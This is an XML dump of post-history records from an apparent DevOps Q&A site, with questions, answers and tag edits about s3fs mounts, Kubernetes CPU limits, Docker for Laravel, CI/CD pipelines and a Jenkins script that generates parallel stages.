  <row Id="31516" PostHistoryTypeId="5" PostId="10313" RevisionGUID="c5002566-614b-4298-87f2-16ee06556bfd" CreationDate="2019-12-26T15:51:22.600" UserId="17897" Comment="added 5 characters in body; edited title" Text="I'm running an application on AWS EC2 Ubuntu instance, here's what I've done:&#xD;&#xA;- I've mounted S3 bucket as folder with s3fs-fuse using this command (unfortunately as root : sudo):&#xD;&#xA;&#xD;&#xA;    sudo s3fs your_bucketname /mys3bucket -o use_cache=/tmp -o allow_other -o uid=1001 -o mp_umask=002 -o multireq_max=5 -o use_path_request_style -o url=https://s3-{{aws_region}}.amazonaws.com&#xD;&#xA;&#xD;&#xA;regarding the uid=1001 and mp_unmask=002 and multireq_max=5&#xD;&#xA;&#xD;&#xA;I've just copied them from instructions, but I have access to the mounted folder and works as expected&#xD;&#xA;&#xD;&#xA;- I've set the permissions for the mounted folder to 777&#xD;&#xA;- From the terminal (using sudo) I have full access to the folder that i have mounted the S3 bucket to, I can read and write, edit and delete&#xD;&#xA;&#xD;&#xA;But I've expected that all users would have access to the folder because again the folder has 777 permissions and I've mounted the S3 bucket with -o allow_other&#xD;&#xA;But this doesn't seem to be the case, the applications that I install don't seem to be able to access the folder.&#xD;&#xA;&#xD;&#xA;The issue was detected when an application on a docker container couldn't access the folder, although when I ssh into the container as root user, I have full access to the folder.&#xD;&#xA;&#xD;&#xA;But then when I've installed applications directly on the Ubuntu instance, the application still couldn't access the folder.&#xD;&#xA;Even when I run the application with sudo&#xD;&#xA;&#xD;&#xA;I came to the conclusion that it's s3fs issue.&#xD;&#xA;What would help give my applications permission to access to the said folder?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31517" PostHistoryTypeId="4" PostId="10313" RevisionGUID="c5002566-614b-4298-87f2-16ee06556bfd" CreationDate="2019-12-26T15:51:22.600" UserId="17897" Comment="added 5 characters in body; edited title" Text="Allowing all apps/users access to folder - S3FS-FUSE" ContentLicense="CC BY-SA 4.0" />
  <row Id="31518" PostHistoryTypeId="2" PostId="10317" RevisionGUID="b4718b0a-d627-459a-838b-13ce169b0003" CreationDate="2019-12-26T15:53:13.367" UserId="15792" Text="You should be able to use the flag `spec.containers[].resources.limits.cpu` to set your desired state on a deployment.&#xD;&#xA;&#xD;&#xA;The official docs [here][1] and [here][2] have some examples of how to specify this in the yaml.  You can set a global default along with min/max limits:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;spec:&#xD;&#xA;  limits:&#xD;&#xA;  - default:&#xD;&#xA;      cpu: 1000m&#xD;&#xA;    defaultRequest:&#xD;&#xA;      cpu: 300m&#xD;&#xA;  - min:&#xD;&#xA;      cpu: 300m&#xD;&#xA;  - max:&#xD;&#xA;      cpu: 1000m&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/configuration/manage-compute-resources-container/&#xD;&#xA;  [2]: https://kubernetes.io/docs/tasks/administer-cluster/manage-resources/cpu-default-namespace/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31528" PostHistoryTypeId="2" PostId="10319" RevisionGUID="1e65f17e-7138-4b58-924c-9fcdccbb6e03" CreationDate="2019-12-26T18:29:31.500" UserId="18826" Text="I am very new to docker. I want to build a `laravel` development environment with `docker`. I already tried `laradock` but it seemed complicated for me. I was wondering whether it is possible to create a `laravel` development environment without `laradock` or `docker-compose`" ContentLicense="CC BY-SA 4.0" />
  <row Id="31529" PostHistoryTypeId="1" PostId="10319" RevisionGUID="1e65f17e-7138-4b58-924c-9fcdccbb6e03" CreationDate="2019-12-26T18:29:31.500" UserId="18826" Text="How to develop a docker container for laravel without laradock or docker-compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="31530" PostHistoryTypeId="3" PostId="10319" RevisionGUID="1e65f17e-7138-4b58-924c-9fcdccbb6e03" CreationDate="2019-12-26T18:29:31.500" UserId="18826" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;containers&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31531" PostHistoryTypeId="2" PostId="10320" RevisionGUID="46390a4d-f02f-4c3e-99c2-c68b5c9b5548" CreationDate="2019-12-26T18:47:59.907" UserId="15792" Text="Yes.  You could create each component of your development environment using containers and [manually network them together][1].  This approach would require you to manually start each container and specify the network and volumes they use at runtime.&#xD;&#xA;&#xD;&#xA;However, you are adding un-needed complexity by avoiding docker-compose to network your containers together.  By using a compose file you can start your environment with a single command: `docker compose up`.  In the approach outlined above, you would need to manually re-create the containers *every time* you wished to recreate the environment.&#xD;&#xA;&#xD;&#xA;[Laradock][2]'s website has some simple getting started guides that can get you up and running without a full understanding of Docker.  While the learning curve may be steep, it can be beneficial to avoid re-implementing a viable solution.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/network/&#xD;&#xA;  [2]: https://laradock.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31534" PostHistoryTypeId="2" PostId="10321" RevisionGUID="998311d1-617c-47d0-8592-1c516d67c620" CreationDate="2019-12-26T21:11:04.860" UserId="18829" Text="With kubeadm&#xD;&#xA;&#xD;&#xA;```kubeadm config view | grep Subnet```" ContentLicense="CC BY-SA 4.0" />
  <row Id="31535" PostHistoryTypeId="2" PostId="10322" RevisionGUID="f0eaafa3-29d9-4d67-a439-59ed44bae9cb" CreationDate="2019-12-26T21:28:59.243" UserId="47" Text="The typical CI/CD pipeline is normally triggered for a branch by new versions being created on that branch, which are the **results** of branch merges, either manual or automated by some tools, like PRs (or of direct commits), the traditional CI tools don't need to do any code merging.&#xD;&#xA;&#xD;&#xA;Once triggered, the pipeline execution attempts to complete as many steps as possible, provided, of course, that the necessary resources (build servers, testbeds, etc.) are available. If the pipeline is triggered again because of new code changes coming in before the previous execution(s) complete you'd just have new pipeline runs, in parallel with/overlapping the ones in progress. Not a problem. Whichever run is successful will perform a deployment, regardless of how much time passed since the previous one.&#xD;&#xA;&#xD;&#xA;The runs already in progress are not waste, they still provide crucial information about the quality of the changes that got integrated into the branch, which is, after all, the primary goal of CI/CD. Stopping a particular pipeline run N because N+1 is triggered would prevent you from immediately identifying the culprit if the N+1 run fails - you can't tell if it's because of the N or the N+1 commit. You'd also unnecessarily delay deployment of the N commit (if its run would have been successful) - you now need to either rollback or fix the problem and do at least one more full pipeline run to deploy it.&#xD;&#xA;&#xD;&#xA;The clogging you mentioned only happens if you don't have enough resources to meet the demand. Mostly a planning matter. If your resource deficit is very small your pipeline may still function close to ideal, with just small delays during peaks of activity but catching up during idle/low activity periods. &#xD;&#xA;&#xD;&#xA;If the deficit is large and the pipeline indeed doesn't keep up with the rate of the incoming changes you'll be forced to _diverge from the CI way_, with multiple changes being picked up in a run, thus losing the ability to trivially identify the changes causing regressions. The longer it takes to identify the culprits, the longer your branch stays blocked, the slower your overall average pipeline speed gets. Fundamentally this is no different than running your pipeline only nightly, for example, the only difference is just the number of changes picked up in every run.&#xD;&#xA;&#xD;&#xA;As for &quot;automate everything&quot;, I'm afraid that's just a dream in traditional CI - even if done well it can only indicate when regressions in the branch quality occurred, but human intervention is still required for repairing and unblocking the branch. AFAIK only the gating commit CI systems can be entirely automated, but those are different beasts.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31545" PostHistoryTypeId="4" PostId="3329" RevisionGUID="df5fbbcd-55a2-4f61-95c3-a04d13ce626a" CreationDate="2019-12-27T07:49:28.560" UserId="210" Comment="edited tags; edited title" Text="How to deal with docker compose's naming convention of named volumes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31546" PostHistoryTypeId="6" PostId="3329" RevisionGUID="df5fbbcd-55a2-4f61-95c3-a04d13ce626a" CreationDate="2019-12-27T07:49:28.560" UserId="210" Comment="edited tags; edited title" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31547" PostHistoryTypeId="6" PostId="326" RevisionGUID="a27281e3-be68-4bba-936b-28b429df1949" CreationDate="2019-12-27T07:52:34.730" UserId="210" Comment="edited tags" Text="&lt;release&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31548" PostHistoryTypeId="6" PostId="145" RevisionGUID="fdd1df2f-7ab8-4d4f-92c1-f04d73f625f0" CreationDate="2019-12-27T07:52:57.007" UserId="210" Comment="edited tags" Text="&lt;amazon-s3&gt;&lt;storage&gt;&lt;google-cloud-storage&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31549" PostHistoryTypeId="6" PostId="369" RevisionGUID="a8d4e0c0-e99c-4bac-bfd1-b15f0eb3c3bc" CreationDate="2019-12-27T07:54:02.957" UserId="210" Comment="edited tags" Text="&lt;culture&gt;&lt;process&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31551" PostHistoryTypeId="6" PostId="369" RevisionGUID="c4bc5667-dedb-4835-ab77-f236301b5af4" CreationDate="2019-12-27T08:48:09.250" UserId="210" Comment="edited tags" Text="&lt;culture&gt;&lt;process&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31552" PostHistoryTypeId="4" PostId="369" RevisionGUID="c4bc5667-dedb-4835-ab77-f236301b5af4" CreationDate="2019-12-27T08:48:09.250" UserId="210" Comment="edited tags" Text="What are pros and cons of Hackathons on implementing a DevOps culture?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31553" PostHistoryTypeId="11" PostId="369" RevisionGUID="2b663485-5e55-4dd5-9004-f61c695c907e" CreationDate="2019-12-27T08:50:39.663" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31554" PostHistoryTypeId="6" PostId="404" RevisionGUID="4eb7e8f6-75ed-475b-a8ea-38b46dbd60f5" CreationDate="2019-12-27T08:52:27.700" UserId="210" Comment="edited tags" Text="&lt;logging&gt;&lt;architecture&gt;&lt;serverless&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31555" PostHistoryTypeId="4" PostId="141" RevisionGUID="496c31ac-57d0-4b3a-9327-89ce2c33959f" CreationDate="2019-12-27T08:57:59.383" UserId="210" Comment="edited tags; edited title" Text="What CIs could build libraries written in C++/VBA and .NET (C#) projects?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31556" PostHistoryTypeId="6" PostId="141" RevisionGUID="496c31ac-57d0-4b3a-9327-89ce2c33959f" CreationDate="2019-12-27T08:57:59.383" UserId="210" Comment="edited tags; edited title" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;travis-ci&gt;&lt;software-recommendation&gt;&lt;circleci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31557" PostHistoryTypeId="11" PostId="141" RevisionGUID="214b2f8c-bf75-449c-811e-064d355a55c7" CreationDate="2019-12-27T08:58:09.033" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31558" PostHistoryTypeId="6" PostId="12" RevisionGUID="d1ceae4a-c5ed-4739-83f6-75ecb6b1269a" CreationDate="2019-12-27T08:58:48.243" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;git&gt;&lt;jenkins-plugins&gt;&lt;scm&gt;&lt;subversion&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31559" PostHistoryTypeId="6" PostId="16" RevisionGUID="c32506ef-bdae-4231-abf9-ee62b582013e" CreationDate="2019-12-27T09:00:11.863" UserId="210" Comment="edited tags" Text="&lt;continuous-integration&gt;&lt;terraform&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31560" PostHistoryTypeId="5" PostId="6529" RevisionGUID="7e345c04-0e8b-471c-bfa9-b4fe5a8e306d" CreationDate="2019-12-27T14:38:30.527" UserId="12728" Comment="added 31 characters in body" Text="I'm trying to use amazon service discovery to register a Redis server in order to be reachable by other **ECS** services in the same cluster.&#xD;&#xA;&#xD;&#xA;I'm using **EC2** to deploy my services not Fargate, so service discovery create a simple **SRV** DNS record, that's mean my others services must request **R53** service to get a real &quot;**A**&quot; record to have access to Redis service.&#xD;&#xA;&#xD;&#xA;My question for DevOps/AWS engineer is: what's the correct way to do so? A request to **R53** each time absolutely not a good idea.&#xD;&#xA;&#xD;&#xA;My solution is in comments." ContentLicense="CC BY-SA 4.0" />
  <row Id="31561" PostHistoryTypeId="2" PostId="10324" RevisionGUID="a6c0e5be-7126-4287-89af-992a7f8db111" CreationDate="2019-12-27T15:39:14.063" UserId="17743" Text="Say we have 6 microservices in a monorepo, each with their own CI build pipeline that is currently only building each project and running unit tests. Is there a way to identify which projects have had code changes since the previous release and only build and deploy those, leaving others untouched? I've not seen anything in the documentation examples that describe this as a possibility but I'm hoping that with all of the conditional and scripting abilities in YAML and possibly templates, never used them, that I could achieve this. &#xD;&#xA;&#xD;&#xA;One way forward without this would be to manually comment out the services that I know had no changes in the YAML and commit that, then build from the updated definition. This is open to human error so I'd like to increase the level of automation.&#xD;&#xA;&#xD;&#xA;[Builds \- Get Changes Between Builds](https://docs.microsoft.com/en-us/rest/api/azure/devops/build/builds/get%20changes%20between%20builds?view=azure-devops-rest-5.1)&#xD;&#xA;Something like this looks interesting but I'm not sure how I'd integrate it with YAML&#xD;&#xA;&#xD;&#xA;The goal of all of this is to only version stamp and deploy what has changed. I may be missing some core DevOps concepts here and am happy to read more if you'll guide me." ContentLicense="CC BY-SA 4.0" />
  <row Id="31562" PostHistoryTypeId="1" PostId="10324" RevisionGUID="a6c0e5be-7126-4287-89af-992a7f8db111" CreationDate="2019-12-27T15:39:14.063" UserId="17743" Text="Azure DevOps - Conditionally Build and Deploy" ContentLicense="CC BY-SA 4.0" />
  <row Id="31563" PostHistoryTypeId="3" PostId="10324" RevisionGUID="a6c0e5be-7126-4287-89af-992a7f8db111" CreationDate="2019-12-27T15:39:14.063" UserId="17743" Text="&lt;continuous-integration&gt;&lt;azure-devops&gt;&lt;continuous-deployment&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31564" PostHistoryTypeId="11" PostId="5209" RevisionGUID="e1a3ad8c-9932-45e2-bd9d-025eb63c8382" CreationDate="2019-12-27T15:52:14.083" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31565" PostHistoryTypeId="2" PostId="10325" RevisionGUID="050ba41f-8d23-4baf-aa06-6181a4ed71f4" CreationDate="2019-12-27T15:52:33.590" UserId="210" Text="According to https://tickets.puppetlabs.com/browse/PUP-4759 the issue seems to be solved. " ContentLicense="CC BY-SA 4.0" />
  <row Id="31566" PostHistoryTypeId="16" PostId="10325" RevisionGUID="fd694e41-0c8d-48fc-8333-a5a0b8df1ba8" CreationDate="2019-12-27T15:52:33.590" UserId="210" />
  <row Id="31567" PostHistoryTypeId="11" PostId="6529" RevisionGUID="5b22f689-0700-4cb0-813f-24ee07e1640f" CreationDate="2019-12-27T15:54:19.910" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31568" PostHistoryTypeId="5" PostId="10317" RevisionGUID="d53a33ae-f48d-4923-83d8-1261f2fbc6f0" CreationDate="2019-12-27T15:56:51.180" UserId="210" Comment="added 10 characters in body" Text="You should be able to use the flag `spec.containers[].resources.limits.cpu` to set your desired state on a deployment.&#xD;&#xA;&#xD;&#xA;The official docs [here][1] and [here][2] have some examples of how to specify this in the yaml.  You can set a global default along with min/max limits:&#xD;&#xA;&#xD;&#xA;    spec:&#xD;&#xA;      limits:&#xD;&#xA;      - default:&#xD;&#xA;          cpu: 1000m&#xD;&#xA;        defaultRequest:&#xD;&#xA;          cpu: 300m&#xD;&#xA;      - min:&#xD;&#xA;          cpu: 300m&#xD;&#xA;      - max:&#xD;&#xA;          cpu: 1000m&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/configuration/manage-compute-resources-container/&#xD;&#xA;  [2]: https://kubernetes.io/docs/tasks/administer-cluster/manage-resources/cpu-default-namespace/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31569" PostHistoryTypeId="6" PostId="10313" RevisionGUID="f9b0e4e7-c558-45a3-b97c-c25c1b4ef894" CreationDate="2019-12-27T15:57:31.980" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;s3fs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31570" PostHistoryTypeId="2" PostId="10326" RevisionGUID="0bacc689-f018-4d04-a49c-31e51ac71a5b" CreationDate="2019-12-27T15:58:47.603" UserId="210" Text="Website: https://github.com/s3fs-fuse/s3fs-fuse" ContentLicense="CC BY-SA 4.0" />
  <row Id="31571" PostHistoryTypeId="1" PostId="10326" RevisionGUID="0bacc689-f018-4d04-a49c-31e51ac71a5b" CreationDate="2019-12-27T15:58:47.603" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31572" PostHistoryTypeId="2" PostId="10327" RevisionGUID="82342eb1-0878-4832-ab43-356ae02e5478" CreationDate="2019-12-27T15:58:47.603" UserId="210" Text="Use this tag if a question is about s3fs." ContentLicense="CC BY-SA 4.0" />
  <row Id="31573" PostHistoryTypeId="1" PostId="10327" RevisionGUID="82342eb1-0878-4832-ab43-356ae02e5478" CreationDate="2019-12-27T15:58:47.603" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31574" PostHistoryTypeId="6" PostId="87" RevisionGUID="aadd63ca-9dac-4ac4-8034-0feb2d7b53dc" CreationDate="2019-12-27T16:04:32.633" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;amazon-ec2&gt;&lt;jenkins-plugins&gt;&lt;vagrant&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31575" PostHistoryTypeId="6" PostId="54" RevisionGUID="0b22aeb8-1f2c-4a73-b020-885f89163f15" CreationDate="2019-12-27T16:07:58.040" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;deployment&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31577" PostHistoryTypeId="2" PostId="10328" RevisionGUID="b611dc18-6e59-4387-ae6f-fa229f4e9072" CreationDate="2019-12-27T16:09:42.330" UserId="5592" Text="This is quite complicated to achieve in Jenkins. We had a similar issue and here's how we solved it:&#xD;&#xA;&#xD;&#xA;1. We have a shared library where we keep our scripts ins `./vars/someScriptName.groovy`&#xD;&#xA;2. We created a `groovy` script that generates the stages.&#xD;&#xA;&#xD;&#xA;Here's a working pipeline code for you to try it out:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def generateITParallelStages(body)&#xD;&#xA;{&#xD;&#xA;    def config = [:]&#xD;&#xA;    config.stages = []&#xD;&#xA;&#xD;&#xA;    body.resolveStrategy = Closure.DELEGATE_FIRST&#xD;&#xA;    body.delegate = config&#xD;&#xA;    body()&#xD;&#xA;&#xD;&#xA;    def buildStages = [:]&#xD;&#xA;    config.stages.each { String stage, closure -&gt;&#xD;&#xA;        // default settings, if you want to have any&#xD;&#xA;        def settings = [:]&#xD;&#xA;        settings.type = 'online'; // if you don't define the type, it will be 'online' by default&#xD;&#xA;        settings.suite = 'internal'; // if you don't define the suite it will be 'internal' by default&#xD;&#xA;&#xD;&#xA;        closure.resolveStrategy = Closure.DELEGATE_FIRST&#xD;&#xA;        closure.delegate = settings&#xD;&#xA;        closure()&#xD;&#xA;&#xD;&#xA;        buildStages.put(stage, prepareStage(stage, settings))&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    return buildStages&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;def prepareStage(String stage, Map settings)&#xD;&#xA;{&#xD;&#xA;    return {&#xD;&#xA;        print &quot;Run ${settings.type} application  '\\n${stage}' in test suite '${settings.suite}'&quot;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    stages {&#xD;&#xA;        stage('Add regression tests') {&#xD;&#xA;            steps {&#xD;&#xA;                script {&#xD;&#xA;                    parallel generateITParallelStages {&#xD;&#xA;                        stages = [&#xD;&#xA;                                webgoat: {&#xD;&#xA;                                    type = 'offline'&#xD;&#xA;                                    suite = 'open-source'&#xD;&#xA;                                },&#xD;&#xA;                                'juice-shop': {&#xD;&#xA;                                    type = 'offline'&#xD;&#xA;                                    suite = 'open-source'&#xD;&#xA;                                },&#xD;&#xA;                                'our-website': {&#xD;&#xA;                                    type = 'online'&#xD;&#xA;                                    suite = 'internal'&#xD;&#xA;                                }&#xD;&#xA;                        ]&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And here's the result:&#xD;&#xA;&#xD;&#xA;[![pipeline-view][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is the only way we have been able to dynamically generate the parallel stages. Everything else will fail (at least at the time of writing this). &#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/am8XK.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="31578" PostHistoryTypeId="4" PostId="208" RevisionGUID="7ab58abc-0389-436a-8a5d-4744bce9fee6" CreationDate="2019-12-27T16:09:54.000" UserId="210" Comment="edited title" Text="How to deterministic and reproducibly assign increasing port numbers in Ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31579" PostHistoryTypeId="6" PostId="296" RevisionGUID="ee262e55-75a3-4d03-b2a6-4f890914f771" CreationDate="2019-12-27T16:31:45.550" UserId="210" Comment="edited tags" Text="&lt;continuous-integration&gt;&lt;configuration&gt;&lt;gocd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31580" PostHistoryTypeId="6" PostId="267" RevisionGUID="6bf26c27-36cd-49ec-8b87-c6da6c057f1e" CreationDate="2019-12-27T16:32:11.600" UserId="210" Comment="edited tags" Text="&lt;continuous-integration&gt;&lt;culture&gt;&lt;agile&gt;&lt;scalability&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31581" PostHistoryTypeId="6" PostId="314" RevisionGUID="b2c76aff-2701-4243-bd83-69d2f664ebc0" CreationDate="2019-12-27T16:32:27.173" UserId="210" Comment="edited tags" Text="&lt;terminology&gt;&lt;culture&gt;&lt;release-management&gt;&lt;agile&gt;&lt;waterfall&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31582" PostHistoryTypeId="6" PostId="306" RevisionGUID="f4dc1356-b1b9-4458-a99d-d7e4cbbbd6a5" CreationDate="2019-12-27T16:33:39.543" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;continuous-integration&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31583" PostHistoryTypeId="6" PostId="173" RevisionGUID="a43bb87d-7811-4125-b07f-2db846a200ca" CreationDate="2019-12-27T16:34:41.217" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31584" PostHistoryTypeId="4" PostId="122" RevisionGUID="30fd06a5-6c18-49d0-a932-6fb46ae2a3ca" CreationDate="2019-12-27T16:44:02.303" UserId="210" Comment="edited title" Text="How to transition from a complex branching reality to a single-branch model?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31585" PostHistoryTypeId="6" PostId="712" RevisionGUID="9a7ce6ac-6a28-4b18-bf20-abb46b228228" CreationDate="2019-12-27T16:45:20.317" UserId="210" Comment="edited tags" Text="&lt;terminology&gt;&lt;culture&gt;&lt;practices&gt;&lt;patterns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31586" PostHistoryTypeId="50" PostId="8755" RevisionGUID="e6564e43-e588-44ad-bbc4-b2a9e9de56cc" CreationDate="2019-12-27T17:01:50.203" UserId="-1" />
  <row Id="31587" PostHistoryTypeId="2" PostId="10329" RevisionGUID="b0489595-97c7-444d-91fc-ad44c5b882d8" CreationDate="2019-12-27T17:41:50.553" UserId="18838" Text="You can create [build pipeline triggers][1] to trigger your builds based on branch along with [path triggers][1]. In your release pipeline, you can set [triggers and filters][2] to decide which artifacts to be deployed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/build/triggers?view=azure-devops&amp;tabs=yaml&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/release/triggers?view=azure-devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="31588" PostHistoryTypeId="5" PostId="10328" RevisionGUID="98e84bb6-0831-4f24-bff5-a59a722576d2" CreationDate="2019-12-27T18:00:21.757" UserId="5592" Comment="added 183 characters in body" Text="This is quite complicated to achieve in Jenkins. We had a similar issue and here's how we solved it:&#xD;&#xA;&#xD;&#xA;1. We have a shared library where we keep our scripts ins `./vars/someScriptName.groovy`&#xD;&#xA;2. We created a `groovy` script that generates the stages.&#xD;&#xA;&#xD;&#xA;Here's a working pipeline code for you to try it out:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def generateITParallelStages(body)&#xD;&#xA;{&#xD;&#xA;    def config = [:]&#xD;&#xA;    config.stages = []&#xD;&#xA;&#xD;&#xA;    body.resolveStrategy = Closure.DELEGATE_FIRST&#xD;&#xA;    body.delegate = config&#xD;&#xA;    body()&#xD;&#xA;&#xD;&#xA;    def buildStages = [:]&#xD;&#xA;    config.stages.each { String stage, closure -&gt;&#xD;&#xA;        // default settings, if you want to have any&#xD;&#xA;        def settings = [:]&#xD;&#xA;        settings.type = 'online'; // if you don't define the type, it will be 'online' by default&#xD;&#xA;        settings.suite = 'internal'; // if you don't define the suite it will be 'internal' by default&#xD;&#xA;&#xD;&#xA;        closure.resolveStrategy = Closure.DELEGATE_FIRST&#xD;&#xA;        closure.delegate = settings&#xD;&#xA;        closure()&#xD;&#xA;&#xD;&#xA;        buildStages.put(stage, prepareStage(stage, settings))&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    return buildStages&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;def prepareStage(String stage, Map settings)&#xD;&#xA;{&#xD;&#xA;    return {&#xD;&#xA;        print &quot;Run ${settings.type} application  '\\n${stage}' in test suite '${settings.suite}'&quot;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    stages {&#xD;&#xA;        stage('Add regression tests') {&#xD;&#xA;            steps {&#xD;&#xA;                script {&#xD;&#xA;                    parallel generateITParallelStages {&#xD;&#xA;                        stages = [&#xD;&#xA;                                webgoat: {&#xD;&#xA;                                    type = 'offline'&#xD;&#xA;                                    suite = 'open-source'&#xD;&#xA;                                },&#xD;&#xA;                                'juice-shop': {&#xD;&#xA;                                    type = 'offline'&#xD;&#xA;                                    suite = 'open-source'&#xD;&#xA;                                },&#xD;&#xA;                                'our-website': {&#xD;&#xA;                                    type = 'online'&#xD;&#xA;                                    suite = 'internal'&#xD;&#xA;                                }&#xD;&#xA;                        ]&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And here's the result:&#xD;&#xA;&#xD;&#xA;[![pipeline-view][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is the only way we have been able to dynamically generate the parallel stages. Everything else will fail (at least at the time of writing this). &#xD;&#xA;&#xD;&#xA;Other people seem to be having a hard time figuring this out as well - [JENKINS-53032](https://issues.jenkins-ci.org/browse/JENKINS-53032). If you feel the same make some noise :)&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/am8XK.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="31589" PostHistoryTypeId="2" PostId="10330" RevisionGUID="0b160b5d-50a3-4209-bb70-4a30187dc4a1" CreationDate="2019-12-27T18:34:59.743" UserId="18126" Text="You can try 3 different things-&#xD;&#xA; &#xD;&#xA; 1. Try pinging https://updates.jenkins-ci.org/download/plugins/ and see if it gets any response. If it doesn't respond then make sure your internet is working fine. &#xD;&#xA; 2. You can try installing the plugins by connecting to a VPN.&#xD;&#xA; 3. Lastly, you can reinstall Jenkins to see if the error persists." ContentLicense="CC BY-SA 4.0" />
  <row Id="31590" PostHistoryTypeId="5" PostId="6247" RevisionGUID="27f4155d-40d1-47f2-9fd0-7e3c097d5beb" CreationDate="2019-12-27T18:41:48.537" UserId="10599" Comment="clarity" Text="At many companies (eg banks) the provenance of the code that gets out to live needs to be known and traceable. This is typically done by having a controlled build farm that builds from source. Release builds upload the binary artefacts to a location where they cannot be overwritten. The artefacts are then deployed by any number of mechanisms that are traceable to an individual and an approved change request. This model is generally just referred to as a ”pipeline”.  &#xD;&#xA;&#xD;&#xA;Under such a model a ”dev host” or ”dev environment” can have anything and everything that developers want on it. It can use newer versions of software than are available in production. It's entirely down to the context whether that is going to cause problems with code failing testing in a live-like environment. It's typical to put release build code through at least one test environment before pushing it to live. That environment is kept as similar to the live environment as possible. &#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="31591" PostHistoryTypeId="33" PostId="10312" RevisionGUID="3ed5d135-eb4c-4eb7-ba88-6181c6bf297b" CreationDate="2019-12-27T21:44:37.673" UserId="18304" Comment="51" />
